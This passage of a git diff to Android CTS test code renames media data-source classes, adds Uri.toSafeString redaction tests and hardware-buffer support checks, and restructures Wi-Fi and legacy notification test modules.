+        final long timeOutTime = java.lang.System.currentTimeMillis() + millis;
+        synchronized (this) {
+            while (!mQuit) {
+                final long timeToWait = timeOutTime - java.lang.System.currentTimeMillis();
+                if (timeToWait < 0) {
+                    break;
+                }
+                this.wait(timeToWait);
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java
index 18371d3..733fc7e 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java
@@ -603,7 +603,11 @@
                     .build());
             mPlayer.setDisplay(getActivity().getSurfaceHolder());
             mPlayer.setScreenOnWhilePlaying(true);
-            mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+            PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+            PowerManager.WakeLock wakeLock =
+                    pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+                            "StreamingMediaPlayer2Test");
+            mPlayer.setWakeLock(wakeLock);
 
             final Object completion = new Object();
             MediaPlayer2.EventCallback ecb =
diff --git a/tests/tests/media/src/android/media/cts/TestMedia2DataSource.java b/tests/tests/media/src/android/media/cts/TestDataSourceCallback.java
similarity index 88%
rename from tests/tests/media/src/android/media/cts/TestMedia2DataSource.java
rename to tests/tests/media/src/android/media/cts/TestDataSourceCallback.java
index d6b59b5..067e281 100644
--- a/tests/tests/media/src/android/media/cts/TestMedia2DataSource.java
+++ b/tests/tests/media/src/android/media/cts/TestDataSourceCallback.java
@@ -18,7 +18,7 @@
 
 import android.content.res.AssetFileDescriptor;
 import android.media.cts.TestUtils.Monitor;
-import android.media.Media2DataSource;
+import android.media.DataSourceCallback;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
@@ -27,11 +27,11 @@
 import java.io.IOException;
 
 /**
- * A Media2DataSource that reads from a byte array for use in tests.
+ * A DataSourceCallback that reads from a byte array for use in tests.
  */
 @AppModeFull(reason = "TODO: evaluate and port to instant")
-public class TestMedia2DataSource extends Media2DataSource {
-    private static final String TAG = "TestMedia2DataSource";
+public class TestDataSourceCallback extends DataSourceCallback {
+    private static final String TAG = "TestDataSourceCallback";
 
     private byte[] mData;
 
@@ -42,7 +42,7 @@
     private boolean mIsClosed;
 
     // Read an asset fd into a new byte array data source. Closes afd.
-    public static TestMedia2DataSource fromAssetFd(AssetFileDescriptor afd) throws IOException {
+    public static TestDataSourceCallback fromAssetFd(AssetFileDescriptor afd) throws IOException {
         try {
             InputStream in = afd.createInputStream();
             final int size = (int) afd.getDeclaredLength();
@@ -53,13 +53,13 @@
                 numRead = in.read(data, writeIndex, size - writeIndex);
                 writeIndex += numRead;
             } while (numRead >= 0);
-            return new TestMedia2DataSource(data);
+            return new TestDataSourceCallback(data);
         } finally {
             afd.close();
         }
     }
 
-    public TestMedia2DataSource(byte[] data) {
+    public TestDataSourceCallback(byte[] data) {
         mData = data;
     }
 
diff --git a/tests/tests/media/src/android/media/cts/TestUtils.java b/tests/tests/media/src/android/media/cts/TestUtils.java
index 339e2b4..b64a856 100644
--- a/tests/tests/media/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/src/android/media/cts/TestUtils.java
@@ -21,7 +21,6 @@
 
 import android.content.Context;
 import android.media.DataSourceDesc;
-import android.media.FileDataSourceDesc;
 import android.media.session.MediaSessionManager;
 import android.os.Bundle;
 import android.os.Handler;
diff --git a/tests/tests/media/src/android/media/cts/VisualizerTest.java b/tests/tests/media/src/android/media/cts/VisualizerTest.java
index 92aa202..5645a92 100644
--- a/tests/tests/media/src/android/media/cts/VisualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/VisualizerTest.java
@@ -441,8 +441,11 @@
                     energy += tmp*tmp;
                 }
             } else {
-                energy = (int)data[0] * (int)data[0];
-                for (int i = 2; i < data.length; i += 2) {
+                // Note that data[0] is real part of FFT at DC
+                // and data[1] is real part of FFT at Nyquist,
+                // but for the purposes of energy calculation we
+                // don't need to treat them specially.
+                for (int i = 0; i < data.length; i += 2) {
                     int real = (int)data[i];
                     int img = (int)data[i + 1];
                     energy += real * real + img * img;
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
index 3e9122b..45fd6d8 100644
--- a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
+++ b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
@@ -20,27 +20,20 @@
 
 import android.os.UserManager;
 import android.test.InstrumentationTestCase;
-import android.util.Log;
 
 public class SplitSystemUserTest extends InstrumentationTestCase {
 
-    private static final String TAG = SplitSystemUserTest.class.getSimpleName();
-
     public void testSplitSystemUserIsDisabled() throws Exception {
-        // Verify that am get-current-user and UserManager.isSystemUser both return 0
-        String curUser = SystemUtil.runShellCommand(getInstrumentation(), "am get-current-user");
-        Log.i(TAG, "am get-current-user: " + curUser);
-        assertEquals("Test must be running under user 0", "0", trim(curUser));
-        UserManager um = getInstrumentation().getContext().getSystemService(UserManager.class);
-        assertTrue("Test must be running under system user", um.isSystemUser());
-
-        // Check that ro.fw.system_user_split property is not set
+        // Check that ro.fw.system_user_split property is not set.
         String splitEnabledStr = trim(SystemUtil.runShellCommand(getInstrumentation(),
                 "getprop ro.fw.system_user_split"));
         boolean splitEnabled = "y".equals(splitEnabledStr) || "yes".equals(splitEnabledStr)
                 || "1".equals(splitEnabledStr) || "true".equals(splitEnabledStr)
                 || "on".equals(splitEnabledStr);
         assertFalse("ro.fw.system_user_split must not be enabled", splitEnabled);
+
+        // Check UserManager.isSplitSystemUser returns false as well.
+        assertFalse("UserManager.isSplitSystemUser must be false", UserManager.isSplitSystemUser());
     }
 
     private static String trim(String s) {
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index ecdbae7..b10997c 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -852,10 +852,16 @@
     int result = AHardwareBuffer_allocate(&desc, &mBuffer);
     // Skip if this format cannot be allocated.
     if (result != NO_ERROR) {
-        ALOGI("Test skipped: format %s not supported",
+        EXPECT_FALSE(AHardwareBuffer_isSupported(&desc)) <<
+            "AHardwareBuffer_isSupported returned true, but buffer allocation failed. "
+            "Potential gralloc bug or resource exhaustion.";
+        ALOGI("Test skipped: format %s could not be allocated",
               AHBFormatAsString(desc.format));
         return false;
     }
+    EXPECT_TRUE(AHardwareBuffer_isSupported(&desc)) <<
+        "AHardwareBuffer_isSupported returned false, but buffer allocation succeeded. "
+        "This is most likely a bug in the gralloc implementation.";
 
     // The code below will only execute if allocating an AHardwareBuffer succeeded.
     // Fail early if the buffer is mipmapped or a cube map, but the GL extension required
diff --git a/tests/tests/net/src/android/net/cts/UriTest.java b/tests/tests/net/src/android/net/cts/UriTest.java
index 1dfe43d..5344f93 100644
--- a/tests/tests/net/src/android/net/cts/UriTest.java
+++ b/tests/tests/net/src/android/net/cts/UriTest.java
@@ -504,4 +504,78 @@
                 Uri.parse("HTTP://USER@WWW.ANDROID.COM:100/ABOUT?foo=blah@bar=bleh#c")
                         .normalizeScheme());
     }
+
+    public void testToSafeString_tel() {
+        checkToSafeString("tel:xxxxxx", "tel:Google");
+        checkToSafeString("tel:xxxxxxxxxx", "tel:1234567890");
+        checkToSafeString("tEl:xxx.xxx-xxxx", "tEl:123.456-7890");
+    }
+
+    public void testToSafeString_sip() {
+        checkToSafeString("sip:xxxxxxx@xxxxxxx.xxxxxxxx", "sip:android@android.com:1234");
+        checkToSafeString("sIp:xxxxxxx@xxxxxxx.xxx", "sIp:android@android.com");
+    }
+
+    public void testToSafeString_sms() {
+        checkToSafeString("sms:xxxxxx", "sms:123abc");
+        checkToSafeString("smS:xxx.xxx-xxxx", "smS:123.456-7890");
+    }
+
+    public void testToSafeString_smsto() {
+        checkToSafeString("smsto:xxxxxx", "smsto:123abc");
+        checkToSafeString("SMSTo:xxx.xxx-xxxx", "SMSTo:123.456-7890");
+    }
+
+    public void testToSafeString_mailto() {
+        checkToSafeString("mailto:xxxxxxx@xxxxxxx.xxx", "mailto:android@android.com");
+        checkToSafeString("Mailto:xxxxxxx@xxxxxxx.xxxxxxxxxx",
+                "Mailto:android@android.com/secret");
+    }
+
+    public void testToSafeString_nfc() {
+        checkToSafeString("nfc:xxxxxx", "nfc:123abc");
+        checkToSafeString("nfc:xxx.xxx-xxxx", "nfc:123.456-7890");
+        checkToSafeString("nfc:xxxxxxx@xxxxxxx.xxx", "nfc:android@android.com");
+    }
+
+    public void testToSafeString_http() {
+        checkToSafeString("http://www.android.com/...", "http://www.android.com");
+        checkToSafeString("HTTP://www.android.com/...", "HTTP://www.android.com");
+        checkToSafeString("http://www.android.com/...", "http://www.android.com/");
+        checkToSafeString("http://www.android.com/...", "http://www.android.com/secretUrl?param");
+        checkToSafeString("http://www.android.com/...",
+                "http://user:pwd@www.android.com/secretUrl?param");
+        checkToSafeString("http://www.android.com/...",
+                "http://user@www.android.com/secretUrl?param");
+        checkToSafeString("http://www.android.com/...", "http://www.android.com/secretUrl?param");
+        checkToSafeString("http:///...", "http:///path?param");
+        checkToSafeString("http:///...", "http://");
+        checkToSafeString("http://:12345/...", "http://:12345/");
+    }
+
+    public void testToSafeString_https() {
+        checkToSafeString("https://www.android.com/...", "https://www.android.com/secretUrl?param");
+        checkToSafeString("https://www.android.com:8443/...",
+                "https://user:pwd@www.android.com:8443/secretUrl?param");
+        checkToSafeString("https://www.android.com/...", "https://user:pwd@www.android.com");
+        checkToSafeString("Https://www.android.com/...", "Https://user:pwd@www.android.com");
+    }
+
+    public void testToSafeString_ftp() {
+        checkToSafeString("ftp://ftp.android.com/...", "ftp://ftp.android.com/");
+        checkToSafeString("ftP://ftp.android.com/...", "ftP://anonymous@ftp.android.com/");
+        checkToSafeString("ftp://ftp.android.com:2121/...",
+                "ftp://root:love@ftp.android.com:2121/");
+    }
+
+    public void testToSafeString_notSupport() {
+        checkToSafeString("unsupported://ajkakjah/askdha/secret?secret",
+                "unsupported://ajkakjah/askdha/secret?secret");
+        checkToSafeString("unsupported:ajkakjah/askdha/secret?secret",
+                "unsupported:ajkakjah/askdha/secret?secret");
+    }
+
+    private void checkToSafeString(String expectedSafeString, String original) {
+        assertEquals(expectedSafeString, Uri.parse(original).toSafeString());
+    }
 }
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 40e25ad..deaa644 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -41,9 +41,11 @@
 import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 import android.test.AndroidTestCase;
+import android.text.TextUtils;
 import android.util.ArraySet;
 import android.util.Log;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.WifiConfigCreator;
 
 import java.net.HttpURLConnection;
@@ -83,9 +85,6 @@
 
     private static final String TAG = "WifiManagerTest";
     private static final String SSID1 = "\"WifiManagerTest\"";
-    private static final String SSID2 = "\"WifiManagerTestModified\"";
-    private static final String PROXY_TEST_SSID = "SomeProxyAp";
-    private static final String ADD_NETWORK_EXCEPTION_SUBSTR = "addNetwork";
     // A full single scan duration is about 6-7 seconds if country code is set
     // to US. If country code is set to world mode (00), we would expect a scan
     // duration of roughly 8 seconds. So we set scan timeout as 9 seconds here.
@@ -200,8 +199,8 @@
             } else {
                 mMySync.expectedState = (enable ? STATE_WIFI_ENABLED : STATE_WIFI_DISABLED);
             }
-            // now trigger the change
-            assertTrue(mWifiManager.setWifiEnabled(enable));
+            // now trigger the change using shell commands.
+            SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
             waitForExpectedWifiState(enable);
         }
     }
@@ -276,20 +275,13 @@
     }
 
     /**
-     * test point of wifiManager actions:
-     * 1.reconnect
-     * 2.reassociate
-     * 3.disconnect
-     * 4.createWifiLock
+     * Test creation of WifiManager Lock.
      */
-    public void testWifiManagerActions() throws Exception {
+    public void testWifiManagerLock() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
         }
-        assertTrue(mWifiManager.reconnect());
-        assertTrue(mWifiManager.reassociate());
-        assertTrue(mWifiManager.disconnect());
         final String TAG = "Test";
         assertNotNull(mWifiManager.createWifiLock(TAG));
         assertNotNull(mWifiManager.createWifiLock(WifiManager.WIFI_MODE_FULL, TAG));
@@ -414,125 +406,6 @@
         return getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
 
-    /**
-     * test point of wifiManager NetWork:
-     * 1.add NetWork
-     * 2.update NetWork
-     * 3.remove NetWork
-     * 4.enable NetWork
-     * 5.disable NetWork
-     * 6.configured Networks
-     * 7.save configure;
-     */
-    public void testWifiManagerNetWork() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
-
-        // store the list of enabled networks, so they can be re-enabled after test completes
-        Set<String> enabledSsids = getEnabledNetworks(mWifiManager.getConfiguredNetworks());
-        try {
-            WifiConfiguration wifiConfiguration;
-            // add a WifiConfig
-            final int notExist = -1;
-            List<WifiConfiguration> wifiConfiguredNetworks = mWifiManager.getConfiguredNetworks();
-            int pos = findConfiguredNetworks(SSID1, wifiConfiguredNetworks);
-            if (notExist != pos) {
-                wifiConfiguration = wifiConfiguredNetworks.get(pos);
-                mWifiManager.removeNetwork(wifiConfiguration.networkId);
-            }
-            pos = findConfiguredNetworks(SSID1, wifiConfiguredNetworks);
-            assertEquals(notExist, pos);
-            final int size = wifiConfiguredNetworks.size();
-
-            wifiConfiguration = new WifiConfiguration();
-            wifiConfiguration.SSID = SSID1;
-            wifiConfiguration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
-            int netId = mWifiManager.addNetwork(wifiConfiguration);
-            assertTrue(existSSID(SSID1));
-
-            wifiConfiguredNetworks = mWifiManager.getConfiguredNetworks();
-            assertEquals(size + 1, wifiConfiguredNetworks.size());
-            pos = findConfiguredNetworks(SSID1, wifiConfiguredNetworks);
-            assertTrue(notExist != pos);
-
-            // Enable & disable network
-            boolean disableOthers = true;
-            assertTrue(mWifiManager.enableNetwork(netId, disableOthers));
-            wifiConfiguration = mWifiManager.getConfiguredNetworks().get(pos);
-            assertEquals(Status.ENABLED, wifiConfiguration.status);
-
-            assertTrue(mWifiManager.disableNetwork(netId));
-            wifiConfiguration = mWifiManager.getConfiguredNetworks().get(pos);
-            assertEquals(Status.DISABLED, wifiConfiguration.status);
-
-            // Update a WifiConfig
-            wifiConfiguration = wifiConfiguredNetworks.get(pos);
-            wifiConfiguration.SSID = SSID2;
-            netId = mWifiManager.updateNetwork(wifiConfiguration);
-            assertFalse(existSSID(SSID1));
-            assertTrue(existSSID(SSID2));
-
-            // Remove a WifiConfig
-            assertTrue(mWifiManager.removeNetwork(netId));
-            assertFalse(mWifiManager.removeNetwork(notExist));
-            assertFalse(existSSID(SSID1));
-            assertFalse(existSSID(SSID2));
-
-            assertTrue(mWifiManager.saveConfiguration());
-        } finally {
-            reEnableNetworks(enabledSsids, mWifiManager.getConfiguredNetworks());
-            mWifiManager.saveConfiguration();
-        }
-    }
-
-    /**
-     * Verifies that addNetwork() fails for WifiConfigurations containing a non-null http proxy when
-     * the caller doesn't have OVERRIDE_WIFI_CONFIG permission, DeviceOwner or ProfileOwner device
-     * management policies
-     */
-    public void testSetHttpProxy_PermissionFail() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
-        WifiConfigCreator configCreator = new WifiConfigCreator(getContext());
-        boolean exceptionThrown = false;
-        try {
-            configCreator.addHttpProxyNetworkVerifyAndRemove(
-                    PROXY_TEST_SSID, TEST_PAC_URL);
-        } catch (IllegalStateException e) {
-            // addHttpProxyNetworkVerifyAndRemove throws three IllegalStateException,
-            // expect it to throw for the addNetwork operation
-            if (e.getMessage().contains(ADD_NETWORK_EXCEPTION_SUBSTR)) {
-                exceptionThrown = true;
-            }
-        }
-        assertTrue(exceptionThrown);
-    }
-
-    private Set<String> getEnabledNetworks(List<WifiConfiguration> configuredNetworks) {
-        Set<String> ssids = new HashSet<String>();
-        for (WifiConfiguration wifiConfig : configuredNetworks) {
-            if (Status.ENABLED == wifiConfig.status || Status.CURRENT == wifiConfig.status) {
-                ssids.add(wifiConfig.SSID);
-                Log.i(TAG, String.format("remembering enabled network %s", wifiConfig.SSID));
-            }
-        }
-        return ssids;
-    }
-
-    private void reEnableNetworks(Set<String> enabledSsids,
-            List<WifiConfiguration> configuredNetworks) {
-        for (WifiConfiguration wifiConfig : configuredNetworks) {
-            if (enabledSsids.contains(wifiConfig.SSID)) {
-                mWifiManager.enableNetwork(wifiConfig.networkId, false);
-                Log.i(TAG, String.format("re-enabling network %s", wifiConfig.SSID));
-            }
-        }
-    }
-
     public void testSignal() {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -904,37 +777,37 @@
     }
 
     /**
-     * Verify calls to setWifiEnabled from a non-settings app while softap mode is active do not
-     * exit softap mode.
-     *
-     * This test uses the LocalOnlyHotspot API to enter softap mode.  This should also be true when
-     * tethering is started.
-     * Note: Location mode must be enabled for this test.
+     * Verify calls to deprecated API's all fail for non-settings apps targeting >= Q SDK.
      */
-    public void testSetWifiEnabledByAppDoesNotStopHotspot() throws Exception {
+    public void testDeprecatedApis() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
         }
-        // check that softap mode is supported by the device
-        if (!mWifiManager.isPortableHotspotSupported()) {
-            return;
-        }
+        setWifiEnabled(true);
+        connectWifi(); // ensures that there is at-least 1 saved network on the device.
+
+        WifiConfiguration wifiConfiguration = new WifiConfiguration();
+        wifiConfiguration.SSID = SSID1;
+        wifiConfiguration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
+
+        assertEquals(WifiConfiguration.INVALID_NETWORK_ID,
+                mWifiManager.addNetwork(wifiConfiguration));
+        assertEquals(WifiConfiguration.INVALID_NETWORK_ID,
+                mWifiManager.updateNetwork(wifiConfiguration));
+        assertFalse(mWifiManager.enableNetwork(0, true));
+        assertFalse(mWifiManager.disableNetwork(0));
+        assertFalse(mWifiManager.removeNetwork(0));
+        assertFalse(mWifiManager.disconnect());
+        assertFalse(mWifiManager.reconnect());
+        assertFalse(mWifiManager.reassociate());
+        assertTrue(mWifiManager.getConfiguredNetworks().isEmpty());
 
         boolean wifiEnabled = mWifiManager.isWifiEnabled();
-
-        if (wifiEnabled) {
-            // disable wifi so we have something to turn on (some devices may be able to run
-            // simultaneous modes)
-            setWifiEnabled(false);
-        }
-
-        TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
-
-        // now we should fail to turn on wifi
-        assertFalse(mWifiManager.setWifiEnabled(true));
-
-        stopLocalOnlyHotspot(callback, wifiEnabled);
+        // now we should fail to toggle wifi state.
+        assertFalse(mWifiManager.setWifiEnabled(!wifiEnabled));
+        Thread.sleep(DURATION);
+        assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
     }
 
     /**
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index b24deb2..d8b2be2 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -27,7 +27,8 @@
      TestUnknownDimensions.cpp \
      TestValidateOperations.cpp \
      TestValidation.cpp \
-     TestWrapper.cpp
+     TestWrapper.cpp \
+     TestNeuralNetworksWrapper.cpp
 
 LOCAL_C_INCLUDES := frameworks/ml/nn/runtime/include/
 LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/test/
diff --git a/tests/tests/notificationlegacy/Android.mk b/tests/tests/notificationlegacy/Android.mk
index 07b2f80..9af9f44 100644
--- a/tests/tests/notificationlegacy/Android.mk
+++ b/tests/tests/notificationlegacy/Android.mk
@@ -12,33 +12,4 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLegacyNotificationTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    android-support-test \
-    junit
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MIN_SDK_VERSION := 24
-
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(call all-subdir-makefiles)
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/Android.mk b/tests/tests/notificationlegacy/notificationlegacy27/Android.mk
new file mode 100644
index 0000000..d2b1425
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy27/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLegacyNotification27TestCases
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    android-support-test \
+    junit
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MIN_SDK_VERSION := 27
+
+include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/AndroidManifest.xml b/tests/tests/notificationlegacy/notificationlegacy27/AndroidManifest.xml
similarity index 94%
rename from tests/tests/notificationlegacy/AndroidManifest.xml
rename to tests/tests/notificationlegacy/notificationlegacy27/AndroidManifest.xml
index 611cbfb..3be24c5 100644
--- a/tests/tests/notificationlegacy/AndroidManifest.xml
+++ b/tests/tests/notificationlegacy/notificationlegacy27/AndroidManifest.xml
@@ -19,7 +19,7 @@
           package="android.app.notification.legacy.cts">
     <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
 
-    <uses-sdk android:minSdkVersion="24" android:targetSdkVersion="24" />
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27" />
     <application>
         <uses-library android:name="android.test.runner" />
 
@@ -62,7 +62,7 @@
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.app.notification.legacy.cts"
-                     android:label="CTS tests for legacy notification behavior">
+                     android:label="CTS tests for notification behavior (API 27)">
         <meta-data android:name="listener"
                    android:value="com.android.cts.runner.CtsTestRunListener" />
     </instrumentation>
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy27/AndroidTest.xml
new file mode 100644
index 0000000..15402f2
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy27/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Notification API 27 test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLegacyNotification27TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.app.notification.legacy.cts" />
+        <option name="runtime-hint" value="5m" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/notificationlegacy/res/drawable/icon_black.jpg b/tests/tests/notificationlegacy/notificationlegacy27/res/drawable/icon_black.jpg
similarity index 100%
rename from tests/tests/notificationlegacy/res/drawable/icon_black.jpg
rename to tests/tests/notificationlegacy/notificationlegacy27/res/drawable/icon_black.jpg
Binary files differ
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/TestNotificationListener.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/TestNotificationListener.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/TestNotificationListener.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/TestNotificationListener.java
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/Android.mk b/tests/tests/notificationlegacy/notificationlegacy28/Android.mk
new file mode 100644
index 0000000..dff96fd
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy28/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
